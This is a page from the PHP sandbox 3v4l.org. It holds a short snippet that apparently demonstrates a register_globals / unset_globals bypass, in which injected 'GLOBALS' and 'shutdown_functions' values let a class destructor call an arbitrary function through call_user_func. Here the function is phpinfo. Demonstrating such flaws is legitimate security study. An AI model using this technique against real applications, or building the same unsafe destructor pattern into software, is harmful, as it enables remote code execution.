3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_GET = array('GLOBALS'=>'1', 'shutdown_functions'=>array('function'=>'phpinfo', 'arguments'=>'1')); class Core { function __construct() { $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { exit("Hacking attempt"); } } if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } } function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); } } function __destruct() { global $shutdown_functions; if($shutdown_functions && is_array($shutdown_functions)) { call_user_func($shutdown_functions['function'], $shutdown_functions['arguments']); } } } $core = new Core; $shutdown_functions = array(); ?>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6

preferences:
344.87 ms | 406 KiB | 458 Q